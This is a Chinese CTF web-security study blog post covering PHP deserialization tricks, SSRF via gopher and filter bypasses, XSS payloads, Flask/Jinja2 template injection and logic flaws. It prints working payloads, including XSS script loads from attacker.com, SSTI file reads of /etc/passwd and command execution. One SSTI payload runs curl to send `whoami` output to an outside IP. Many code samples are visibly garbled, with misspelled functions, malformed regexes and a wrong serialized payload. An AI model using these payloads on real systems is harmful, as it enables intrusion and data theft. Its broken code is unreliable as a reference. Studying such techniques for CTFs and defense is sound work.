存与读不一致时,处理器会出现问题。php_serialize注入的stdclass字符串,在php处理下成为stdclass对象,在php_serialize处理下存入“|O:8:"stdClass":0:{}”,然后在php处理下读取,这时会以“a:2:{s:20:"”作为key,后面的“O:8:"stdClass":0:{}”作为value进行反序列化。

PHP引用

题目
class just4fun{
	var $enter;
	var $secret;
}
$o = unserialize($_GET['d']);
$o->secret = "you don't know the secret";
if($o->secret === $o->enter){
	echo "Win";
}
EXP
class just4fun{
	var $enter;
	var $secert;
	function just4fun(){
		$this -> enter = $this -> secret;
	}
}
echo seialize(new just4fun());
Payload
0:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

题目中有just4fun类,类中有enter,secret属性,$secret属性位置,php中存在引用,通过 & 表示,&$a引用“$a”的值,内存中是指向变量的地址,序列化字符串中用 R 来表示引用类型。
初始化时,利用“&”enter指向secret的地址
生成的payload中,存在“s:6:"secret";R:2”,通过引用的方式将两者的属性值成为同一个值

Exception绕过

有时会遇上throw问题,因为报错导致后面代码无法执行
B类中__destruct输出全局的flag变量反序列化点则在throw前。正常情况下,报错是使用throw抛出异常导致__destruct不会执行。但是通过改变属性为“O:1:"B":1:{1}”,解析出错,由于类名是正确的,就会调用该类名的__destruct,从而在throw前执行了__destruct

<?php

$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B{
	function __destruct(){
	global $flag;
	echo $flag;
	}
}
$a = @unserialize($line);
throw new Exception('Well taht was unexpected...');
echo $a;

SSRF漏洞

SSRF(Server Side Request Forgery,服务端请求伪造)一种攻击者通过构造数据伪造服务器端发起请求的漏洞。请求是由内部发起的,所以SSRF漏洞攻击的目标是从外网无法访问的内部系统。SSRF漏洞形成的原因是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者自由构造参数,发起预期外的请求。

SSRF原理解析

URL的构造

foo://example.com:8042/over/yhere?name=bar#nose
foo       				scheme 			协议
example.com:8042		authority 		主机
/over/there				path 			路径
?name=bar				query			参数
nose					fragment		嵌入在活动中的UI片段
scheme
由一串大小写不敏感的字符组成,表示获取资源所需要的协议

authority
userinfo遇到得比较少,可选项,一般HTTP使用匿名形式获取数据
如果需要进行身份验证,格式为username:password,以@结尾

host
表示在哪个服务器上获取资源,一般是以域名形式呈现
如baidu.com,也以IPv4、IPv6地址形式呈现

port
服务器端口
各协议都有默认端口
如HTTP的为80、FTP的为21
使用默认端口时,可以将端口省略

path
指向资源的路径,一般使用“/”进行分层

query
查询字符串,用户将用户输入数据传递给服务端,以“?”作为标识
向服务端传递用户名密码为“?username=admin&password=admin123”。

fragment
片段ID,与query不同
其内容不会被传递到服务端,一般表示页面的锚点

SSRF漏洞的测试和挖掘

SSRF漏洞一般出现在有调用外部资源的场景中,社交服务分享功能、图片识别服务、网站采集服务、远程资源请求(如wordpress xmlrpc.php)、文件处理服务(如XML解析)等。对存在SSRF漏洞的应用进行测试时,可以尝试是否能控制、支持常见的协议,包括但不限于以下协议。

file://:从文件系统中获取文件内容
如:file:///etc/passwd。

dict://:字典服务器协议,让客户端能够访问更多字典源
在SSRF中可以获取目标服务器上运行的服务版本等信息

gopher://:分布式的文档传递服务,在SSRF漏洞攻击中作用非常大。
使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容
如HTTP请求、MySQL请求等

在这里插入图片描述
SSRF漏洞-攻击方式

内部服务资产探测

SSRF漏洞可以直接探测网站所在服务器端口的开放情况甚至内网资产情况,确定该处存在SSRF漏洞,可以通过确定请求成功与失败的返回信息进行判断服务开放情况

使用Gopher协议扩展攻击面

攻击Redis

Redis运行在内网,使用者将其绑定于127.0.0.1:6379,一般是空口令。攻击者通过SSRF漏洞未授权访问内网Redis,可能导致任意增、查、删、改其中的内容,甚至利用导出功能写入Crontab、Webshell和SSH公钥(使用导出功能写入的文件所有者为redis的启动用户,一般启动用户为root,如果启动用户权限较低,将无法完成攻击)。
Redis是一条指令执行一个行为,如果其中一条指令是错误的,那么会继续读取下一条,所以如果发送的报文中可以控制其中一行,就可以将其修改为Redis指令,分批执行指令,完成攻击。如果可以控制多行报文,那么可以在一次连接中完成攻击。

攻击MySQL

攻击内网中的MySQL,需要了解其通信协议。MySQL分为客户端和服务端,由客户端连接服务端有4种方式:UNIX套接字、内存共享、命名管道、TCP/IP套接字
进行攻击依靠第4种方式,MySQL客户端连接时会出现两种情况,是否需要密码认证。需要进行密码认证时,服务器先发送salt,然后客户端使用salt加密密码再验证。当不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。

PHP-FPM攻击

目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用有错误的Nginx配置的情况下,通过恶意构造的数据包,可让PHP-FPM执行任意代码。
当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,可造成远程代码执行漏洞。

攻击内网中的脆弱WEB应用

内网中的Web应用因为无法被外网的攻击者访问到,所以往往会忽视其安全威胁。

使用Gopher协议扩展攻击面

目前已经有人总结出多种协议并写出自动转化的脚本,所以大部分情况下不需要再手动进行抓包与转换。

推荐工具:
https://github.com/tarunkant/Gopherus

自动组装Gohper

该工具可以生成以下服务的payload:
	MySQL (Port-3306)
	PostgreSQL(Port-5432)
	FastCGI (Port-9000)
	Memcached (Port-11211)	Redis (Port-6379)
	Zabbix (Port-10050)
	SMTP (Port-25)

SSRF漏洞-防御绕过

IP的限制

使用Enclosed alphanumerics代替IP中的数字或网址中的字母,或者使用句号代替点
如果服务端过滤方式使用正则表达式过滤属于内网的IP地址,尝试将IP地址转换为进制的方式绕过,将127.0.0.1转换为十六进制后进行请求,可以将IP地址转换为十进制、八进制、十六进制,分别为2130706433、17700000001、7F000001。在转换后进行请求时,十六进制前需加0x,八进制前需加0,转换为八进制后开头所加的0可以为多个,IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0,而在Linux下,0代表127.0.0.1,某些情况下可以用http://0进行请求127.0.0.1。类似127.0.0.1这种中间部分含有0的地址,可以将0省略。

302跳转

网络上存在名叫xip.io的服务,访问这个服务的任意子域名时,都会重定向到这个子域名,如127.0.0.1.xip.io,会解析到127.0.0.1
这种方式存在一个问题,在传入的URL中存在关键字127.0.0.1,一般会被过滤,可以使用短网址将其重定向到指定的IP地址短网址https://dwurl.cn/pJu3vw,。有时服务端可能过滤了很多协议,传入的URL中只允许出现“http”或“https”,可以在自己的服务器上写一个302跳转利用Gopher协议攻击内网的Redis

curl -v http://baidu.127.0.0.1.xip.io
* Rebuilt URL to :http://baidu.127.0.0.1.xip.io/
*	Trying 127.0.0.1 ...
* TCP_NODELAY set
* connect to 127.0.0.1 port 80 failed: Connention refuesd
* Failed to connect to baidu.127.0.0.1.xip.io prot 80:Connection refused
* Closing connection 0
curl: (7) Failed to connect to baidu.127.0.0.1.xip.io port 80:Connection refused

XSS

跨站脚本攻击(Cross-Site Scripting,XSS)网站应用程序的安全漏洞攻击,代码注入的一种,允许用户将恶意代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。XSS攻击通常是通过利用网页开发时留下的漏洞巧妙注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。恶意网页程序通常是JavaScript,实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)私密网页内容、会话和Cookie等内容。XSS攻击是代码注入的一种。很多网站给关键Cookie增加了HTTP Only属性,导致执行JavaScript无法获得用户的登录凭证(即无法通过XSS攻击窃取Cookie登录对方账号),虽然同源策略限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,实现模拟用户的操作(文件上传等请求)

反射/存储型XSS

根据XSS漏洞点的触发特征
XSS可以粗略分为反射型XSS、存储型XSS

反射型XSS通常是指恶意代码未被服务器存储
每次触发漏洞的时候都将恶意代码通过GET/POST方式提交,触发漏洞。

存储型XSS则相反,恶意代码被服务器存储
在访问页面时会直接被触发(如留言板留言等场景)

一个简单的反射型XSS,变量输入点没有任何过滤直接在HTML内容中输出,可以向网页中注入恶意的标签和代码,实现功能。但是这样的payload会被Google Chrome等浏览器直接拦截,无法触发,因为这样的请求(GET参数中的JavaScript标签代码直接打印在HTML中)符合Google Chrome浏览器XSS过滤器(XSS Auditor)的规则,被直接拦截。换用FireFox浏览器,输入的数据被拼接到HTML内容中,被输出到一些特殊的位置,如标签属性、JavaScript变量的值,此时通过闭合标签或者语句可以实现payload的逃逸。又如,输入被输出到了标签属性的值中,通过在标签属性中注入on事件,可以执行恶意代码

<!DOCTUPE html>
<html>
<head>
	<title>hello</title>
</head>
<body>
	<h1>hello {输入点}</h1>
</body>
</html>
<!DOCTUPE html>
<html>
<head>
	<title>hello</title>
</head>
<body>
	<h1>hello <script>alert{"hello xss"}</script></h1>
</body>
</html>

输入被输出到JavaScript变量中,这时可以构造输入,闭合前面的双引号,引入恶意代码

<?php
	$name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
	<title>hello</title>
</head>
<body>
	<script type="text/javascript">
		var username = "<?=$name?>">
		docunment.write("hello".username);
	</script>
</body>
</html>

输入原封不动地被输出在页面中,通过构造参数,使输入中的恶意数据混入JavaScript代码中执行

这也是很多漏洞的根源所在

没有很好地区分开代码和数据,导致攻击者可以利用系统的缺陷
构造输入,进而在系统上执行任意代码。

DOM XSS

DOM XSS是页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或元素的修改引入被污染的变量导致XSS,功能是获取imgurl参数中的图片链接,然后拼接出一个图片标签并显示到网页中,输入并不会直接被打印到页面中被解析,而是等页面中原先的JavaScript执行后取出可控的变量,拼接恶意代码并写入页面中才会被触发。恶意代码最终被拼接到了img标签中并被执行。

<!DOCTYPE html>
<html>
<head>
	<title>image display</title>
</head>
<body>
	<script type="text/javascript">
		function getUrlParam(name){
			var reg = new RegExp("(^|&")" + name + "=([^&)*(&|$)");
			var r = window.location.search.substr(1).match(reg);
			if (r != null) return decodeURL(r[2]); return null;
		}
		var imgurl = getUrlParam("imgurl");
		var imagehtml = "<img src='"+imgurl+"' />";
		document.write(imagehtml);
	</script>
</body>
</html>	

其他

决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type,无论上传的文件是什么样的后缀被保存在服务器上,只要访问上传文件返回的Content-type是text/html,就可以成功被浏览器解析并执行。Flash文件的application/x-shockwave-flash也可以被执行XSS。浏览器会默认把请求响应当作HTML内容解析空的和畸形的Content-type,由于浏览器之间存在差异,因此在实际环境中要多测试Google Chrome中的空Content-type会被认为是text/html,也是可以弹框的
在这里插入图片描述
XSS的tricks

可以用来执行XSS的标签

基本上所有的标签都可以使用on事件来触发恶意代码,另一个比较常用的是img标签,由于页面不存在路径为/x的图片,因此直接会加载出错,触发onerror事件并执行代码。

<h1 οnmοusemοve="alert('mobed!')">this is a title</h1>
<img src=x οnerrοr="alert('error')" />

<script src="http://attacker.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" herf="http://attacker.com/1.html">
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
<svg/οnlοad=alert(1)>

HTML5特性的XSS

HTML5的某些特性可以参考网站http://html5sec.org/
很多标签的on时间触发是需要交互的,如鼠标滑过点击,标签的autofocus属性会自动使光标聚焦于此,不需交互就可以触发onfocus事件。两个input元素竞争焦点,当焦点到另一个input元素时,前面的会触发blur事件。

<input οnfοcus=write(1) autofocus>
<input οnblur=write(1) autofocus><input autofocus>

伪协议与XSS

在浏览器中使用HTTP/HTTPS协议来访问网站,但是在一个页面中,鼠标悬停在一个超链接上时,会看到这样的链接:javascript:void(0)。这是用JavaScript伪协议实现的。如果手动单击,或者页面中的JavaScript执行跳转到JavaScript伪协议时,浏览器不会去访问这个地址,而是把“javascript:”后的内容当作JavaScript代码,在当前页面执行。对于这样的标签:单击这个标签时不会跳转到其他网页,直接在当前页面执行alert(1)除了直接用a标签单击触发,JavaScript协议触发的方式还有很多。利用JavaScript进行页面跳转时,跳转的协议使用JavaScript伪协议也能进行触发,如果在一些登录/退出业务中存在这样的代码:即跳转的地址是我们可控的,我们就能控制跳转的地址到JavaScript伪协议,从而实现XSS攻击
iframe标签和form标签也支持JavaScript伪协议,不同的是,iframe标签不需交互即可触发form标签需要在提交表单时才会触发。除了JavaScript伪协议,还有其他伪协议可以在iframe标签中实现类似的效果。比如,data伪协议:

<a href="javascript:alert(1)">click</a>

<iframe src = "data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>

<script type="text/javascript">
	location.href="javascript:alert(document.domain)";
</script>

<!DOCTYPE html>
<html>
<head>
	<title>logout</title>
</head>

<body>
	<script type="text/javascript">
		function getUrlParam(name){
			var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
			var r = window.location.search.substr(1).match(reg)
			if(r != null)
				return decodeURL(r[2]);
			return null;
		}
		var jumpurl = getUrlParam("jumpurl");
		document.loaction.href=jumpurl;
	</script>
</body>
</html>

<iframe src="javascript:alert(1)"></iframe>
<form action="javascript"alert(1)"></form>

二次渲染导致的XSS

后端语言如flask的jinja2使用不当时,可能存在模板注入,前端也可能因为这样的原因形成XSS。例如,在AngularJS中,代码会将参数t直接输出到AngularJS的模板中,在我们访问页面时,JavaScript会解析模板中的代码,可以得到一个前端的模板注入。AngularJS引擎解析了表达式“3*3”并打印了结果。借助沙箱逃逸,能达到执行任意JavaScript代码的目的。这样的XSS是因为前端对某部分输出进行了二次渲染导致的,所以没有script标签这样的特征,也就不会被浏览器随意的拦截

<?php
	$name = $_GET['name'];
	$name = htmlentities($name,ENT_QUOTES);
	$address = $_GET['addr'];
	$address = htmlentities($address,ENT_QUOTES);
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="gb18030">
	<title></title>
</head>
<body>
	<script type="text/javascript">
		var url = 'http://null.com/?name=<?=$name?>'+'<?=$address?>';
	</script>
</body>
</html>
<?php
	$template = "hellp {{name}}".$_GET['t'];
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<script src="hjttp://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
	<div ng=app="">
		<p>名字: <input type="text" ng-model="name"></p>
		<h1><?=$template?></h1>
	</div>
</body>
</html>

XSS过滤和绕过

过滤的两个层为WAF层、代码层
WAF(Web Application Firewall,Web应用防火墙)层通常在代码外,主机层对HTTP应用请求一个过滤拦截器
代码层则在代码中直接实现对用户输入的过滤或者引用第三方代码对用户输入进行过滤。JavaScript非常灵活,所以对于普通的正则匹配,字符串对比很难拦截XSS漏洞。过滤的时候一般会面临多种场景。

SSTI

Python的Web应用涉及模板的使用,如Tornado、Flask、Django。服务器端需要向用户端发送一些动态的数据。与直接用字符串拼接的方式不同,模板引擎通过对模板进行动态的解析,将传入模板引擎的变量进行替换,最终展示给用户
SSTI服务端模板注入是因为代码中通过不安全的字符串拼接的方式来构造模板文件而且过分信任用户的输入造成的
大多数模板引擎自身没有什么问题,在审计时重点是找到一个模板,这个模板通过字符串拼接而构造,而且用户输入的数据会影响字符串拼接过程。

Flask

处理怀疑含有模板注入的漏洞的网站时,先关注render_*这类函数,观察其参数是否为用户可控。如果存在模板文件名可控的情况,配合上传漏洞,构造模板,则完成模板注入。

from flask import Flask
from flask import render_template
from flask import request
from flask import render_-template_string

app = Flask(__name__)
@app.route('/test',methods=['GET','POST'])
def test()
	template = '''
		<div class="center-content error">
			<h1>Oops! That page doesn't exist.</h1>
			<h3>%s</>
		<div>
	''' %(request.url)

	return render_template_string(template)

if __name__ = '__main__':
	app.debug = True
	app.run()		

应先关注render_template_string(template)函数,参数template通过格式化字符串的方式构造,其中request.url没有任何过滤,直接由用户控制
直接在URL中传入恶意代码,如“{{self}}”,拼接至template中。由于模板在渲染时服务器会自动寻找服务器渲染时上下文的有关内容,将其填充到模板中,导致敏感信息的泄露,甚至执行任意代码的问题。通过本地搭建与服务器相同的环境,查看渲染时上下文的信息,这时最简单的利用是用{{variable}}将上下文的变量导出,更好的利用方式是找到可以直接利用的库或函数,或者通过上文提到的继承等寻找对象的手段,从而完成任意代码的执行。

常用函数

__class__ 			返回调用的参数类型
__bases__ 			返回类型列表
__mro__ 			此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 	返回object的子类
__globals__ 		函数会以字典类型返回当前位置的全部全局变量 与 func_globals 		等价

Python安全

使用继承等寻找对象

在Python中,一切都是对象,可以使用Python的内置方法找到对象的父类和子类

[].__class__是<class'list'>

[].__class__.__mro__是(<class'list'><class'object'>[].__class__.__mro__[-1].__subclasses__()可以找到object所有子类。

比如,第40项是file对象
(实际的索引可能不同,需要动态识别)可以用于读写文件。

Python中直接使用不需要import的函数,如open、eval属于全局的module__builtins__,所以可以尝试__builtins__.open()等用法。若函数被删除了,还可以使用reload()函数找回。

>>> [].__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
>>> [].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()'##\n# User Database\n# \n......'
builtins
>>> del __builtins__.open
>>> __builtins__.open
Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'open'
>>> __builtins__.open
KeyboardInterrupt
>>> reload(__builitins__)
<module '__builtins__' (bulit-in)>
>>> __bulitins__.open
><bulit-in function open>

SSTI模板注入

常见payload

文件读取:
 python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}
#python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} 
命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
    	 {% if 'eval' in b.keys() %}
      	 {{ b['eval']('__import__("os").popen("id").read()') }}
   	   {% endif %}
  	{% endif %}
   {% endfor %}
  {% endif %}
{% endfor %}

防御绕过

过滤 {{或者}}
可以使用{%绕过
{%%}中间可以执行if语句
利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
过滤 _
用编码绕过
比如:__class__ => \x5f\x5fclass\x5f\x5f
过滤  .
采用attr()[]绕过
过滤  []
可以用getitem()用来获取序号

逻辑漏洞

逻辑漏洞指在程序开发过程中,对程序处理逻辑未进行严密考虑,导致在到达分支逻辑功能时,不能进行正常的处理或导致某些错误,进而产生危害。功能越复杂的应用,权限认证和业务处理流程越复杂,开发人员要考虑的内容会大幅增加,对于功能越复杂的应用,开发人员出现疏忽的可能性就越大,当这些出现疏忽的点造成业务功能的异常执行时,逻辑漏洞便形成了。

1、权限控制逻辑漏洞

权限的逻辑漏洞又分为横向越权和纵向越权

在这里插入图片描述

横向越权

用户A与用户B之间的越权,如用户A可查看用户B的历史订单信息,其中权限变更过程为“普通用户 → 普通用户” ,本质的权限等级未变化

纵向越权

会涉及管理员与用户之间的权限变更,如用户A通过越权行为可对首页广告进行编辑,那么权限变更过程为“普通用户 → 高级权限用户”,本质的权限等级发生了变化。

2、数据管理逻辑漏洞

现实中,对于业务功能交织的购物系统,正常的业务功能会涉及多种场景,如商品余额、金钱花费、商品归属判定、订单修改、代金券的使用等。
以其中的购买功能为例,购买过程中会涉及商户商品余额变化、买方金额的消费、服务端的交易历史记录等数据,由于涉及的数据种类较多,因此在实际开发过程中,对于部分数据的类型校验便存在考虑不周的可能,如花费金额的正负判定、数额是否可更改等问题。这些问题往往都不是代码层面的漏洞直接导致,而是由于业务处理逻辑的部分判断缺失导致的。
与数据相关的逻辑漏洞通常将关注点放在业务数据篡改、重放等方面。
业务数据篡改包含了前文提到的诸多问题,与开发人员对正常业务所做的合法规定密切相关,如限购行为中,对于最大购买量的突破也是作为业务数据篡改来看待。
除此之外,在购买场景下常见的几个业务数据篡改可包括:金额数据篡改,商品数量篡改,限购最大数修改,优惠券ID可篡改。不同场景下,可篡改的数据存在差异,需要针对实际情况具体分析,因此上面4类数据也只是针对购买场景而言。

杂项

信息搜集

网络信息搜集技巧

公开渠道
目标Web网站,地理位置,相关组织
组织结构和人员,人员资料,电话,电子邮件
网络配置,安全防护机制的策略和防护
通过搜索引擎查找特定安全漏洞或私密信息的方法
Google Hacking Database
科学上网

基本搜索技巧

Google 基本搜索与挖掘技巧
保持简单明了的关键词
使用最可能出现在要查找的网页上的字词
尽量简明扼要地描述要查找的内容
选择独特性的描述字词
社会公共信息库查询
个人信息:人口统计局
企业等实体:YellowPage,企业信用信息网
网站,域名,IP:whois等

地图和街道搜索

国外:Google Map,Google Earth,Google Street View
国内:百度地图,卫星地图,街景
从网络世界到物理世界:IP2Location
whois 数据库
GeoIP
IP2Loaction
纯真数据库(QQ IP 查询)

编码分析

通信领域常用编码

电话拨号编码
1-9 分别使用1-9
Morese编码
莫尔斯电码

国际莫尔斯电码
1.一点的长度是一个单位
2.一划是三个单位
3.在一个字母中点划之间的间隔是一点
4.两个字母之间的间隔是三点(一划)
5.两个单词之间的间隔是七点

特点

只有 .-
最多六位
也可以使用01串表示

敲击码

Tap code 一种非常简单的方式对文本信息进行编码的方法大
因为编码对信息通过使用一系列的点击声音来编码命名
敲击码基于5*5放个波利比奥斯方阵来实现
不同点是用K字母被整合到C中

在这里插入图片描述
曼彻斯特编码
格雷编码

计算机相关的编码

字母表编码

A-Z、a-z、对应1-260-25

ASCII编码
图片分析
音频隐写
流量包分析
压缩包分析
磁盘内存分析

代码审计

逆向分析

移动应用安全

二进制漏洞利用

内网渗透基础

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

暴龙振翅飞翔

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值